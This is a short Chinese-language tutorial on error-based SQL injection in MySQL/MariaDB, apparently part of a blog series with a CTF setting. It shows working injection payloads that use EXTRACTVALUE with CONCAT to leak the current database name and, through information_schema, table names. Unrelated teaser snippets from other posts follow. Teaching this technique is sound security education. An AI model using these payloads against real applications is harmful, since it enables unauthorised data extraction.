在一些网页程序出错时,会直接将错误讯息显示到前端,而部分错误讯息会夹带导致错误的资料内容,报错型 SQL 注入便是利用此特性将资料泄漏出来。
以下 SQL 函数可以构建出泄漏资料的错误讯息:
extractvalue
ExtractValue(xml_frag, xpath_expr)
updatexml
UpdateXML(xml_target, xpath_expr, new_xml)
参考资料:https://dev.mysql.com/doc/refman/5.6/en/xml-functions.html#function_extractvalue
EXTRACTVALUE(1, CONCAT(0x0a, database(), 0x0a));
EXTRACTVALUE
可以从 XML 字串提取指定路径的资料,此处我们可以构建出不合语法的 XPATH 路径,使得错误讯息回显资料。本例中便泄漏出了当前资料库名称为 CTF
。搭配前天的 information_schema
,便可以在 MySQL / MariaDB 中泄漏任意资料,例如下列语法便可以泄漏出 Table 名称。
<原 SQL 语法>
OR EXTRACTVALUE(
1,
CONCAT(
0x0a, (
SELECT GROUP_CONCAT(`TABLE_NAME`)
FROM `information_schema`.`tables`
WHERE `TABLE_SCHEMA` = 'CTF'
), 0x0a
)
)
https://edm.bnext.com.tw/2021cpx/?utm_source=%E3%8...
我习惯理解一个东西,可以套用日常的生活经验,找出类比、拟人化会帮助我更好理解,今天的议题是最近看到 ...
资料处理是JavaScript非常重要的一环,如果观念不正确,常常会卡在那边,就算可以运行了,也不知...
从第三天灌好程序之後,也是过了快两个礼拜才使用他,想必每个夜晚他在硬碟里偷偷哭泣,让你的硬碟很潮,比...
今天是最後一天了, 但该讲的还是要讲完, 所以我们就接续上一篇的TypeScript(TS)的模组(...